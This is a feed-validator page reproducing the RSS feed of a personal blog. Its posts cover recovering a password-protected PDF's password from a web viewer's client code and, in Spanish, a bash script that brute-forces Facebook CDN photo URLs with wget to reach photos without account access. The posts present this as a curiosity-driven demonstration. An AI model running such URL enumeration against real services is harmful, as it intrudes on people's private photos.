Congratulations!

[Valid RSS] This is a valid RSS feed.

Recommendations

This feed is valid, but interoperability with the widest range of feed readers could be improved by implementing the following recommendations.

Source: http://blog.aleperno.com.ar/?feed=rss2

  1. <?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
  2. xmlns:content="http://purl.org/rss/1.0/modules/content/"
  3. xmlns:wfw="http://wellformedweb.org/CommentAPI/"
  4. xmlns:dc="http://purl.org/dc/elements/1.1/"
  5. xmlns:atom="http://www.w3.org/2005/Atom"
  6. xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
  7. xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
  8. >
  9.  
  10. <channel>
  11. <title>Aleperno&#039;s Blog</title>
  12. <atom:link href="https://blog.aleperno.com/?feed=rss2" rel="self" type="application/rss+xml" />
  13. <link>https://blog.aleperno.com</link>
  14. <description>Inside a young engineering student&#039;s mind</description>
  15. <lastBuildDate>Fri, 10 Mar 2023 15:00:44 +0000</lastBuildDate>
  16. <language>en-US</language>
  17. <sy:updatePeriod>
  18. hourly </sy:updatePeriod>
  19. <sy:updateFrequency>
  20. 1 </sy:updateFrequency>
  21. <generator>https://wordpress.org/?v=5.8.9</generator>
  22.  
  23. <image>
  24. <url>https://blog.aleperno.com/wp-content/uploads/2019/06/favicon.ico</url>
  25. <title>Aleperno&#039;s Blog</title>
  26. <link>https://blog.aleperno.com</link>
  27. <width>32</width>
  28. <height>32</height>
  29. </image>
  30. <item>
  31. <title>Shallow Diving into PDFs embedded images</title>
  32. <link>https://blog.aleperno.com/?p=2692</link>
  33. <dc:creator><![CDATA[Alejandro]]></dc:creator>
  34. <pubDate>Fri, 30 Jul 2021 02:30:24 +0000</pubDate>
  35. <category><![CDATA[Uncategorized]]></category>
  36. <guid isPermaLink="false">https://blog.aleperno.com/?p=2692</guid>
  37.  
  38. <description><![CDATA[Recently I had the chance&#8230;actually the need to have a look into how a given PDF manages its images. Here I&#8217;ll explain what the initial issue was an the findings along my journey. Disclamer: This is written more like a logbook / narration than an actual article. Last week I started reading the online material &#8230; <p class="link-more"><a href="https://blog.aleperno.com/?p=2692" class="more-link">Continue reading<span class="screen-reader-text"> "Shallow Diving into PDFs embedded images"</span></a></p>]]></description>
  39. <content:encoded><![CDATA[
  40. <figure class="wp-block-image size-large is-resized"><img src="https://blog.aleperno.com/wp-content/uploads/2021/07/header-edited.png" alt="" class="wp-image-2695" width="679" srcset="https://blog.aleperno.com/wp-content/uploads/2021/07/header-edited.png 1255w, https://blog.aleperno.com/wp-content/uploads/2021/07/header-edited-300x169.png 300w, https://blog.aleperno.com/wp-content/uploads/2021/07/header-edited-1024x575.png 1024w, https://blog.aleperno.com/wp-content/uploads/2021/07/header-edited-768x431.png 768w" sizes="(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px" /><figcaption>Yes&#8230;this is me during one of my PADI OWD Classes</figcaption></figure>
  41.  
  42.  
  43.  
  44. <p class="has-text-align-justify">Recently I had the chance&#8230;actually the need to have a look into how a given PDF manages its images. Here I&#8217;ll explain what the initial issue was an the findings along my journey. <strong>Disclamer</strong>: This is written more like a logbook / narration than an actual article.</p>
  45.  
  46.  
  47.  
  48. <span id="more-2692"></span>
  49.  
  50.  
  51.  
  52. <p class="has-text-align-justify">Last week I started reading the online material for my PADI OWD (Open Water Diver) course. Yes&#8230;now you realize this post title is very pun-intended, anyway&#8230; To my surprise the content had quite a bad <em>responsiveness</em>. Some images failed to load, others disappeared if I scrolled up and down. Here&#8217;s a tweet showcasing the issue</p>
  53.  
  54.  
  55.  
  56. <figure class="wp-block-embed aligncenter is-type-rich is-provider-twitter wp-block-embed-twitter"><div class="wp-block-embed__wrapper">
  57. <blockquote class="twitter-tweet" data-width="525" data-dnt="true"><p lang="es" dir="ltr">Este es el material online de PADI. En vez de tener un simple PDF y un viewer online no&#8230; Carga un pdf sin imágenes, y luego las carga dinámicamente.<br><br>No sólo te carga más de una vez la misma imagen si vas y volvés en las páginas&#8230; Sino que se bugea, no te las carga bien, lento <a href="https://t.co/yWQhZwJoDm">pic.twitter.com/yWQhZwJoDm</a></p>&mdash; Alejandro Pernin (@alepernin) <a href="https://twitter.com/alepernin/status/1418400824749875204?ref_src=twsrc%5Etfw">July 23, 2021</a></blockquote><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
  58. </div><figcaption>Let the rant begin&#8230;</figcaption></figure>
  59.  
  60.  
  61.  
  62. <p>Not only that, but the page requested the images more than once, making it even slower. All these made me wonder how this was made and if it could be improved in any way. So, into the browser&#8217;s dev tools we go.</p>
  63.  
  64.  
  65.  
  66. <figure class="wp-block-image size-full"><img loading="lazy" width="805" height="453" src="https://blog.aleperno.com/wp-content/uploads/2021/07/Screenshot-from-2021-07-31-18-10-06.png" alt="" class="wp-image-2766" srcset="https://blog.aleperno.com/wp-content/uploads/2021/07/Screenshot-from-2021-07-31-18-10-06.png 805w, https://blog.aleperno.com/wp-content/uploads/2021/07/Screenshot-from-2021-07-31-18-10-06-300x169.png 300w, https://blog.aleperno.com/wp-content/uploads/2021/07/Screenshot-from-2021-07-31-18-10-06-768x432.png 768w" sizes="(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px" /><figcaption>Google Chrome Network Requests</figcaption></figure>
  67.  
  68.  
  69.  
  70. <p>The first two interesting elements are a <em>book.pdf</em> and a set of <em>img_X.jpg</em> which are the images that are shown in the document. Let&#8217;s first try to open the PDF and see how it is.</p>
  71.  
  72.  
  73.  
  74. <figure class="wp-block-image size-full"><img loading="lazy" width="936" height="536" src="https://blog.aleperno.com/wp-content/uploads/2021/07/Screenshot-from-2021-07-31-18-10-45.png" alt="" class="wp-image-2767" srcset="https://blog.aleperno.com/wp-content/uploads/2021/07/Screenshot-from-2021-07-31-18-10-45.png 936w, https://blog.aleperno.com/wp-content/uploads/2021/07/Screenshot-from-2021-07-31-18-10-45-300x172.png 300w, https://blog.aleperno.com/wp-content/uploads/2021/07/Screenshot-from-2021-07-31-18-10-45-768x440.png 768w" sizes="(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px" /><figcaption>Attempt to open PDF</figcaption></figure>
  75.  
  76.  
  77.  
  78. <p>The document is password-protected, however since the viewer is able to show the document without asking for any password we can assume the password is accessible to the client-side at some point. Let&#8217;s continue browsing the resources.</p>
  79.  
  80.  
  81.  
  82. <figure class="wp-block-image size-full"><img loading="lazy" width="636" height="397" src="https://blog.aleperno.com/wp-content/uploads/2021/07/Screenshot-from-2021-07-31-18-12-30-edited.png" alt="" class="wp-image-2771" srcset="https://blog.aleperno.com/wp-content/uploads/2021/07/Screenshot-from-2021-07-31-18-12-30-edited.png 636w, https://blog.aleperno.com/wp-content/uploads/2021/07/Screenshot-from-2021-07-31-18-12-30-edited-300x187.png 300w" sizes="(max-width: 636px) 100vw, 636px" /><figcaption>index.html</figcaption></figure>
  83.  
  84.  
  85.  
  86. <p>In the <em>index.html</em> two things caught my eye.</p>
  87.  
  88.  
  89.  
  90. <ul><li>The <em>book<strong> </strong></em>variable containing b64 encoded data than is then passed to a <em>PdfViewer</em> method</li><li>There is something called <em>iSpring</em> which seems to be the viewer.</li></ul>
  91.  
  92.  
  93.  
  94. <p>Let&#8217;s first add a breakpoint in the mentioned method</p>
  95.  
  96.  
  97.  
  98. <figure class="wp-block-image size-full"><img loading="lazy" width="804" height="343" src="https://blog.aleperno.com/wp-content/uploads/2021/07/Screenshot-from-2021-07-31-18-13-34.png" alt="" class="wp-image-2774" srcset="https://blog.aleperno.com/wp-content/uploads/2021/07/Screenshot-from-2021-07-31-18-13-34.png 804w, https://blog.aleperno.com/wp-content/uploads/2021/07/Screenshot-from-2021-07-31-18-13-34-300x128.png 300w, https://blog.aleperno.com/wp-content/uploads/2021/07/Screenshot-from-2021-07-31-18-13-34-768x328.png 768w" sizes="(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px" /></figure>
  99.  
  100.  
  101.  
  102. <p>The first thing done by the method is create a new instance of an object, using the b64 code. Inspecting the object&#8217;s attributes we can see something resembling a document name (&#8220;Open Water Manual 02 Intro&#8221;) and other strings. After trying some, I found out the <strong>nh</strong> attribute was in fact the document password.</p>
  103.  
  104.  
  105.  
  106. <figure class="wp-block-image size-full"><img loading="lazy" width="574" height="490" src="https://blog.aleperno.com/wp-content/uploads/2021/07/Screenshot-from-2021-07-31-18-18-00.png" alt="" class="wp-image-2775" srcset="https://blog.aleperno.com/wp-content/uploads/2021/07/Screenshot-from-2021-07-31-18-18-00.png 574w, https://blog.aleperno.com/wp-content/uploads/2021/07/Screenshot-from-2021-07-31-18-18-00-300x256.png 300w" sizes="(max-width: 574px) 100vw, 574px" /><figcaption>bingo!</figcaption></figure>
  107.  
  108.  
  109.  
  110. <p>However we do see there&#8217;s something odd&#8230; The document lacks any images, what I deduce is the viewer loads the PDF and then loads the images dynamically as we scroll through the document. This arises some questions.</p>
  111.  
  112.  
  113.  
  114. <ul><li>How does the viewer know which images to load and where to put them?</li><li>Is there any way to revert the process and obtain the original PDF?</li></ul>
  115.  
  116.  
  117.  
  118. <p>However, I don&#8217;t want to keep fiddling around with this document / page to avoid any ToS / Copyright infringement. Luckily the very same html page does provide a hint which I previously mentioned, the <em>iSpring</em> name. After some googling I found the following</p>
  119.  
  120.  
  121.  
  122. <figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">
  123. <iframe loading="lazy" title="iSpring Flip Overview" width="525" height="295" src="https://www.youtube.com/embed/QPHrFv7_YvA?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
  124. </div></figure>
  125.  
  126.  
  127.  
  128. <p>It seems the document viewer is called <strong><a rel="noreferrer noopener" href="https://www.ispringsolutions.com/ispring-flip" data-type="URL" data-id="https://www.ispringsolutions.com/ispring-flip" target="_blank">iSpring Flip</a></strong> and fortunately they do offer a trial version of their product.</p>
  129.  
  130.  
  131.  
  132. <p>I used the software with one of my physics assignments, which you can check <a href="http://pdftest.aleperno.com" data-type="URL" data-id="pdftest.aleperno.com">here</a>. iSpring gives you a folder with the following contents</p>
  133.  
  134.  
  135.  
  136. <figure class="wp-block-image size-full"><img loading="lazy" width="337" height="527" src="https://blog.aleperno.com/wp-content/uploads/2021/09/Screenshot-from-2021-07-31-18-58-25.png" alt="" class="wp-image-2786" srcset="https://blog.aleperno.com/wp-content/uploads/2021/09/Screenshot-from-2021-07-31-18-58-25.png 337w, https://blog.aleperno.com/wp-content/uploads/2021/09/Screenshot-from-2021-07-31-18-58-25-192x300.png 192w" sizes="(max-width: 337px) 100vw, 337px" /></figure>
  137.  
  138.  
  139.  
  140. <p>The images contained in the <em>res</em> folder are indeed the images embedded in the pdf.</p>
  141.  
  142.  
  143.  
  144. <figure class="wp-block-image size-full"><img loading="lazy" width="720" height="181" src="https://blog.aleperno.com/wp-content/uploads/2021/07/Screenshot-from-2021-09-06-19-22-20.png" alt="" class="wp-image-2789" srcset="https://blog.aleperno.com/wp-content/uploads/2021/07/Screenshot-from-2021-09-06-19-22-20.png 720w, https://blog.aleperno.com/wp-content/uploads/2021/07/Screenshot-from-2021-09-06-19-22-20-300x75.png 300w" sizes="(max-width: 720px) 100vw, 720px" /></figure>
  145.  
  146.  
  147.  
  148. <p>There&#8217;s also a files named <em>book.pdf.js</em> and taking a look into it we find the following</p>
  149.  
  150.  
  151.  
  152. <figure class="wp-block-image size-large"><img loading="lazy" width="1024" height="555" src="https://blog.aleperno.com/wp-content/uploads/2021/07/book.pdf.js-1024x555.png" alt="" class="wp-image-2790" srcset="https://blog.aleperno.com/wp-content/uploads/2021/07/book.pdf.js-1024x555.png 1024w, https://blog.aleperno.com/wp-content/uploads/2021/07/book.pdf.js-300x163.png 300w, https://blog.aleperno.com/wp-content/uploads/2021/07/book.pdf.js-768x417.png 768w, https://blog.aleperno.com/wp-content/uploads/2021/07/book.pdf.js.png 1366w" sizes="(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px" /></figure>
  153.  
  154.  
  155.  
  156. <p>I decoded the b64 into another file and opened it, finding a password protected PDF. Using what I&#8217;ve learned above I found the password. This is a comparison between the original PDF and the pdf found in the resources, where we can see the lack of some images.</p>
  157.  
  158.  
  159.  
  160. <figure class="wp-block-image size-large"><img loading="lazy" width="1024" height="639" src="https://blog.aleperno.com/wp-content/uploads/2021/09/compared_pdfs-1024x639.png" alt="" class="wp-image-2791" srcset="https://blog.aleperno.com/wp-content/uploads/2021/09/compared_pdfs-1024x639.png 1024w, https://blog.aleperno.com/wp-content/uploads/2021/09/compared_pdfs-300x187.png 300w, https://blog.aleperno.com/wp-content/uploads/2021/09/compared_pdfs-768x479.png 768w, https://blog.aleperno.com/wp-content/uploads/2021/09/compared_pdfs-1536x958.png 1536w, https://blog.aleperno.com/wp-content/uploads/2021/09/compared_pdfs.png 1675w" sizes="(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px" /><figcaption>Original on the left, processed on the right</figcaption></figure>
  161.  
  162.  
  163.  
  164. <p>I opened the pdf file with a text editor and searched for any reference of a &#8220;img_x.jpg&#8221;. <strong>NOTE:</strong> The original PDF is compressed which makes inspecting its contents harsh. I used the <em><a href="https://github.com/qpdf/qpdf" data-type="URL" data-id="https://github.com/qpdf/qpdf">qpdf</a></em> tool to decompress it.</p>
  165.  
  166.  
  167.  
  168. <figure class="wp-block-image size-full"><img loading="lazy" width="551" height="257" src="https://blog.aleperno.com/wp-content/uploads/2021/09/xobject.png" alt="" class="wp-image-2792" srcset="https://blog.aleperno.com/wp-content/uploads/2021/09/xobject.png 551w, https://blog.aleperno.com/wp-content/uploads/2021/09/xobject-300x140.png 300w" sizes="(max-width: 551px) 100vw, 551px" /><figcaption>Reference of img_1.jpg</figcaption></figure>
  169.  
  170.  
  171.  
  172. <p>The first result we see some kind of object with a reference to an image (with the correct path), some attributes such as height and width (which matches the actual image size) and some sort of stream.</p>
  173.  
  174.  
  175.  
  176. <p>Taking a look into the <a href="https://www.adobe.com/content/dam/acom/en/devnet/pdf/pdfs/PDF32000_2008.pdf" data-type="URL" data-id="https://www.adobe.com/content/dam/acom/en/devnet/pdf/pdfs/PDF32000_2008.pdf">pdf specification</a> we can find the following definition:</p>
  177.  
  178.  
  179.  
  180. <blockquote class="wp-block-quote"><p>An external object (commonly called an XObject) is a graphics object whose contents are defined by a self-contained stream, separate from the content stream in which it is used.</p></blockquote>
  181.  
  182.  
  183.  
  184. <p>It looks like we can include an image just by including its stream into the <em>stream / endstream</em> block, so let&#8217;s test it. I opened a Jupyter Notebook and started fiddling around, ending up with</p>
  185.  
  186.  
  187.  
  188. <p>[gist]https://gist.github.com/aleperno/33a61a582d53edfd736686fe0e9292a7[/gist]</p>
  189.  
  190.  
  191.  
  192. <p>This code basically does the following</p>
  193.  
  194.  
  195.  
  196. <ul><li>Finds every object of type XObject and subtype Image</li><li>Checks it contains a property F matching &#8216;data/res&#8217; and retrieves the image name</li><li>With the image name tries to obtain the image from a given folder and set the stream into the file.</li></ul>
  197.  
  198.  
  199.  
  200. <p>And as a result we obtain a PDF with images just like the original one</p>
  201.  
  202.  
  203.  
  204. <figure class="wp-block-image size-large"><img loading="lazy" width="1024" height="640" src="https://blog.aleperno.com/wp-content/uploads/2021/09/compared_2-1024x640.png" alt="" class="wp-image-2798" srcset="https://blog.aleperno.com/wp-content/uploads/2021/09/compared_2-1024x640.png 1024w, https://blog.aleperno.com/wp-content/uploads/2021/09/compared_2-300x188.png 300w, https://blog.aleperno.com/wp-content/uploads/2021/09/compared_2-768x480.png 768w, https://blog.aleperno.com/wp-content/uploads/2021/09/compared_2-1536x960.png 1536w, https://blog.aleperno.com/wp-content/uploads/2021/09/compared_2.png 1676w" sizes="(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px" /><figcaption>Original (left) vs New (right)</figcaption></figure>
  205.  
  206.  
  207.  
  208. <h2>Learnings</h2>
  209.  
  210.  
  211.  
  212. <p>PDFs has a simple way to include images by including an stream, it is also allows us to use the same image multiple times without duplicating the stream but rather using references to the object.</p>
  213.  
  214.  
  215.  
  216. <p>Also by them being streams, we can extract images, modify them and re-add them to the file without much hassle, this could be useful when trying to reduce a document size, we can try to compress the images.</p>
  217.  
  218.  
  219.  
  220. <p>An important side-note is by being streams, images conserve metadata which could be &#8220;dangerous&#8221; by enabling anyone to extract the images EXIF info.</p>
  221. ]]></content:encoded>
  222. </item>
  223. <item>
  224. <title>Blog Season 2 Trailer</title>
  225. <link>https://blog.aleperno.com/?p=2651</link>
  226. <dc:creator><![CDATA[Alejandro]]></dc:creator>
  227. <pubDate>Wed, 22 May 2019 16:58:47 +0000</pubDate>
  228. <category><![CDATA[Uncategorized]]></category>
  229. <guid isPermaLink="false">http://blog.aleperno.com.ar/?p=2651</guid>
  230.  
  231. <description><![CDATA[So&#8230; It&#8217;s been three years since I last updated this blog and I&#8217;m kinda missing doing so; therefore I hereby commit to resume posting, these will be the likely updates on the blog Moving Out!: I&#8217;ll be migrating the blog completely, both from host and perhaps framework. Of course there will be an entry about it. &#8230; <p class="link-more"><a href="https://blog.aleperno.com/?p=2651" class="more-link">Continue reading<span class="screen-reader-text"> "Blog Season 2 Trailer"</span></a></p>]]></description>
  232. <content:encoded><![CDATA[<p><!--:--><!--:en--><a href="https://blog.aleperno.com/wp-content/uploads/2019/05/e1e4573acd5523ea7672a523c68cf200.jpg"><img loading="lazy" class="aligncenter wp-image-2635 size-large" src="https://blog.aleperno.com/wp-content/uploads/2019/05/e1e4573acd5523ea7672a523c68cf200-1024x512.jpg" alt="" width="580" height="290" srcset="https://blog.aleperno.com/wp-content/uploads/2019/05/e1e4573acd5523ea7672a523c68cf200-1024x512.jpg 1024w, https://blog.aleperno.com/wp-content/uploads/2019/05/e1e4573acd5523ea7672a523c68cf200-300x150.jpg 300w, https://blog.aleperno.com/wp-content/uploads/2019/05/e1e4573acd5523ea7672a523c68cf200-768x384.jpg 768w, https://blog.aleperno.com/wp-content/uploads/2019/05/e1e4573acd5523ea7672a523c68cf200-1568x784.jpg 1568w, https://blog.aleperno.com/wp-content/uploads/2019/05/e1e4573acd5523ea7672a523c68cf200.jpg 2048w" sizes="(max-width: 580px) 100vw, 580px" /><br />
  233. </a></p>
  234. <p>So&#8230; It&#8217;s been three years since I last updated this blog and I&#8217;m kinda missing doing so; therefore I hereby commit to resume posting, these will be the likely updates on the blog</p>
  235. <ul>
  236. <li><strong>Moving Out!:</strong> I&#8217;ll be migrating the blog completely, both from host and perhaps framework. Of course there will be an entry about it.</li>
  237. <li><strong>I may completely quit writing in Spanish</strong>: Though I like to keep it open to all audiences, writing one entry is hard and time-consuming by itself, let alone in two languages.</li>
  238. <li><strong>A Simple Telegram Bot</strong>: I have an abandoned Telegram Bot laying around, I will do a review of the code, simple tutorial (code + hosting) and examples.</li>
  239. <li><strong>Security by Example</strong>: I had the chance to review a software service with mild security and design flaws. We&#8217;ll review the case as a 101 example.</li>
  240. <li><strong>iPad Note Taking: </strong>I&#8217;ve been using an iPad Pro for about a year for college note-taking. I&#8217;m working on a <em>post-process </em>to improve the results of my notes.</li>
  241. </ul>
  242. <p><!--:--></p>
  243. ]]></content:encoded>
  244. </item>
  245. <item>
  246. <title>Curiosidades de Facebook Reloaded</title>
  247. <link>https://blog.aleperno.com/?p=380</link>
  248. <comments>https://blog.aleperno.com/?p=380#comments</comments>
  249. <dc:creator><![CDATA[Alejandro]]></dc:creator>
  250. <pubDate>Sun, 04 Sep 2011 19:42:09 +0000</pubDate>
  251. <category><![CDATA[internet]]></category>
  252. <guid isPermaLink="false">http://blog.aleperno.com.ar/?p=380</guid>
  253.  
  254. <description><![CDATA[En el post anterior ya mencioné algunas curiosidades respecto a las url&#8217;s de facebook y que información podíamos sacar de ellas; sin embargo sentí que quedaba algo pendiente y es mostrar como es hipotéticamente posible robar fotos de una cuenta a la que no tenemos acceso, mediante la fuerza bruta. ¿Por qué &#8220;hipotéticamente&#8221;? En el &#8230; <p class="link-more"><a href="https://blog.aleperno.com/?p=380" class="more-link">Continue reading<span class="screen-reader-text"> "Curiosidades de Facebook Reloaded"</span></a></p>]]></description>
  255. <content:encoded><![CDATA[<p><!--:es--></p>
  256. <p style="text-align: justify;">
  257. <p style="text-align: justify;">En el post anterior ya mencioné algunas curiosidades respecto a las url&#8217;s de facebook y que información podíamos sacar de ellas; sin embargo sentí que quedaba algo pendiente y es mostrar como es hipotéticamente posible robar fotos de una cuenta a la que no tenemos acceso, mediante la fuerza bruta.</p>
  258. <p style="text-align: justify;">¿Por qué &#8220;hipotéticamente&#8221;? En el post anterior mostré la siguiente url</p>
  259. <pre>https://fbcdn-sphotos-a.akamaihd.net/hphotos-ak-snc6/262207_10150250379330782_<span style="color: #ff0000;">639435781</span>_7283246_1748549_n.jpg[/note]</pre>
  260. <p style="text-align: justify;">donde el número marcado en rojo corresponde a mi profile id, el cual obviamente es constante, al contrario de todos los demás números  que son variables y representan el resultado de <span style="text-decoration: underline;">algún</span> algoritmo de ordenamiento o algo así. Para los que no lo recuerden o sepan (este blog intenta ser lo más friendly posible) un algoritmo de fuerza bruta, implica ni más ni menos que ir probando todas las combinaciones posibles.</p>
  261. <p style="text-align: justify;">Analizemos esto, tenemos 37 dígitos que varian, siendo los mismos decimales cada dígito tiene 10 combinaciones posibles lo que nos da un 10³⁷ combinaciones aproximadamente. Es más que evidente que es un número bastante grande. Computacionalmente es un número más que accesible que tardara su tiempo dependiendo del poder de cálculo de nuestra computadora, el problema radica en que por cada iteración haremos un pedido al servidor y eso tiene su delay. Multipliquemos este delay por 10³⁷ y más o menos tenemos desde Moisés hasta la actualidad.</p>
  262. <p style="text-align: justify;">Podriamos realizar un ataque a más de un servidor y/o desde más de una pc atacante, pero en definitiva el tiempo necesario para perpetrar dicho ataque seguiría siendo bastante.</p>
  263. <p style="text-align: justify;">Resumiendo, este ataque no tiene practicidad alguna, más que demostrar que hipotéticamente es posible y para resaltar ciertas curiosidades que tiene esta red social.</p>
  264. <h3 style="text-align: justify;"><strong>El Ataque</strong></h3>
  265. <p style="text-align: justify;">Antes de realizar un script para perpetrar el ataque de fuerza bruta, indagué un poco los links de mis propias fotos, esperando encontrar algun orden lógico el cual me permita acotar la cantidad de variables y me encontré con una curiosidad. Los links de mis fotos viejas (09-10) poseian otro formato</p>
  266. <pre>https://fbcdn-sphotos-a.akamaihd.net/photos-ak-ash1/v254/51/16/639435781/n639435781_450402_9982.jpg</pre>
  267. <p style="text-align: justify;">En base a la observación el /51/16 parecería constante así como el /v254 tenía cierta persistencia, pero poniéndonos estrictos podríamos decir que tenemos 26 dígitos que varían, bajamos 11 variables! Sin embargo sigue siendo un número bastante alto.</p>
  268. <p style="text-align: justify;">Por lo que para el script en cuestión tomé ciertas consideraciones al &#8220;atacar&#8221; a un álbum específico</p>
  269. <ul style="text-align: justify;">
  270. <li>/v254/51/16 son contantes</li>
  271. <li>45042 posee sólo 10 ciclos de iteración</li>
  272. </ul>
  273. <div style="text-align: justify;">Obteniendo como resultado</div>
  274. <div style="text-align: justify;">[sourcecode lang=&#8221;bash&#8221; collapse=&#8221;false&#8221;]<br />
  275. #!/bin/bash<br />
  276. LOC=/home/alejandro/Escritorio/Facebook<br />
  277. OUTPUT=&quot;$LOC/file.txt&quot;<br />
  278. BASE=&quot;http://fbcdn-sphotos-a.akamaihd.net/photos-ak-ash1/&quot;<br />
  279. LINK=&quot;&quot;<br />
  280. ID=639435781<br />
  281. CONST1=254<br />
  282. CONST2=51<br />
  283. CONST3=16<br />
  284. MIN1=450403<br />
  285. MAX1=450412<br />
  286. MIN2=702<br />
  287. MAX2=3970</p>
  288. <p>while [ $MIN1 -lt $MAX1 ];do<br />
  289.    MIN2=702<br />
  290.    while [ $MIN2 -lt $MAX2 ];do<br />
  291. LINK=$BASE&quot;v&quot;$CONST1&quot;/&quot;$CONST2&quot;/&quot;$CONST3&quot;/&quot;$ID&quot;/n&quot;$ID&quot;_&quot;$MIN1&quot;_&quot;$MIN2&quot;.jpg&quot;<br />
  292. echo $LINK<br />
  293. TEST=$(wget $LINK -o &#8211; -q)<br />
  294. if [ &quot;$TEST&quot; != &quot;&quot; ]; then<br />
  295.    echo $LINK &gt;&gt; $OUTPUT<br />
  296. fi<br />
  297. let MIN2=$MIN2+1<br />
  298.    done<br />
  299.    let MIN1=$MIN1+1<br />
  300. done<br />
  301. [/sourcecode]</p>
  302. </div>
  303. <div style="text-align: justify;">En este preciso momento, el script lleva 2 horas ejecutándose y como resultado arrojó las siguientes imágenes</div>
  304. <div style="text-align: justify;"><a href="https://fbcdn-sphotos-a.akamaihd.net/photos-ak-ash1/v254/51/16/639435781/n639435781_450403_702.jpg"><img loading="lazy" class="alignnone" alt="" src="https://fbcdn-sphotos-a.akamaihd.net/photos-ak-ash1/v254/51/16/639435781/n639435781_450403_702.jpg" width="130" height="98" /></a><a href="https://fbcdn-sphotos-a.akamaihd.net/photos-ak-ash1/v254/51/16/639435781/n639435781_450404_951.jpg"><img loading="lazy" class="alignnone" alt="" src="https://fbcdn-sphotos-a.akamaihd.net/photos-ak-ash1/v254/51/16/639435781/n639435781_450404_951.jpg" width="130" height="98" /></a><a href="https://fbcdn-sphotos-a.akamaihd.net/photos-ak-ash1/v254/51/16/639435781/n639435781_450405_1208.jpg"><img loading="lazy" class="alignnone" alt="" src="https://fbcdn-sphotos-a.akamaihd.net/photos-ak-ash1/v254/51/16/639435781/n639435781_450405_1208.jpg" width="130" height="98" /><br />
  305. </a><em>Se puede apreciar que las fotos siguen el orden lógico del script</em></div>
  306. <h3 style="text-align: justify;"><strong>Colorario</strong></h3>
  307. <p>Para resumir, planté la hipótesis de que es posible ejecutar un ataque de fuerza bruta contra los servidores de imágenes de facebook. Usando un caso modelo acotado, demostré que es posible aunque extremadamente impráctico.</p>
  308. <p>Como aprendizaje o curiosidad me queda, que las imágenes están alojadas &#8216;públicamente&#8217;, que las url de las mismas muestran el id de su dueño y una de las cosas más interesantes es que el servidor permite realizar el ataque.</p>
  309. <p>Me resulta curioso como uno es capaz de realizar un gran número de pedidos a direcciones inválidas sin que el servidor detecte un comportamiento sospechoso o si lo hace, no actúe.</p>
  310. <pre>NOTA: Al término de esta entrada el script arrojó otro resultado,
  311. siendo al momento 4 imágenes en 2 horas 20 min aproximadamente.</pre>
  312. <p style="text-align: justify;"><a href="http://creativecommons.org/licenses/by/3.0/" rel="license"><img style="border-width: 0;" alt="Licencia Creative Commons" src="http://i.creativecommons.org/l/by/3.0/80x15.png" /></a><br />
  313. Curiosidades de Facebook Reloaded por <a href="http://blog.aleperno.com.ar/?p=380" rel="cc:attributionURL">Alejandro Pernin</a> se encuentra bajo una Licencia <a href="http://creativecommons.org/licenses/by/3.0/" rel="license">Creative Commons Atribución 3.0 Unported</a>.</p>
  314. <p><!--:--></p>
  315. ]]></content:encoded>
  316. <wfw:commentRss>https://blog.aleperno.com/?feed=rss2&#038;p=380</wfw:commentRss>
  317. <slash:comments>1</slash:comments>
  318. </item>
  319. <item>
  320. <title>Curiosidades de Facebook</title>
  321. <link>https://blog.aleperno.com/?p=343</link>
  322. <comments>https://blog.aleperno.com/?p=343#comments</comments>
  323. <dc:creator><![CDATA[Alejandro]]></dc:creator>
  324. <pubDate>Tue, 23 Aug 2011 02:50:30 +0000</pubDate>
  325. <category><![CDATA[internet]]></category>
  326. <guid isPermaLink="false">http://blog.aleperno.com.ar/?p=343</guid>
  327.  
  328. <description><![CDATA[Hay muchas cosas en la vida, que uno ve, conoce, utiliza y desconoce pequeñas curiosidades o perlitas que no van muy al caso, pero siempre son interesantes de conocer. Facebook ha causado enorme controversia, con sus políticas de privacidad, supuesta exposición de datos privados, etc. Aquí no voy a hablar de eso ya que soy &#8230; <p class="link-more"><a href="https://blog.aleperno.com/?p=343" class="more-link">Continue reading<span class="screen-reader-text"> "Curiosidades de Facebook"</span></a></p>]]></description>
  329. <content:encoded><![CDATA[<p><!--:es--></p>
  330. <p style="text-align: justify;">
  331. <p style="text-align: justify;">Hay muchas cosas en la vida, que uno ve, conoce, utiliza y desconoce pequeñas curiosidades o perlitas que no van muy al caso, pero siempre son interesantes de conocer. Facebook ha causado enorme controversia, con sus políticas de privacidad, supuesta exposición de datos privados, etc. Aquí no voy a hablar de eso ya que soy temeroso de los abogados de Mark Zuckerberg y no tengo dinero para costearme un litigio legal, así que sólo mostraré unas pequeñas perlitas con las que me he encontrado.</p>
  332. <p style="text-align: justify;">Observemos la siguiente URL:</p>
  333. <p style="text-align: justify;">[su_note color=&#8221;#e0e0e0&#8243;]https://fbcdn-sphotos-a.akamaihd.net/hphotos-ak-snc6/262207_ 10150250379330782_<span style="color: #ff0000;">639435781</span>_7283246_1748549_n.jpg[/su_note]<br />
  334. Dicha URL corresponde al enlace directo de mi foto de perfil, aunque posea una configuración de seguridad tal que sólo mis amigos puedan ver mi foto de perfil, cualquiera con esa URL podría verla; con lo que por medio de un intermediario habilitado, uno podría tener acceso a las fotos de una persona que normalmente no podría.</p>
  335. <p style="text-align: justify;">-Ahh, pero no pasa nada, porque siempre tiene que haber un amigo que le pase el link. <strong>ERROR.</strong></p>
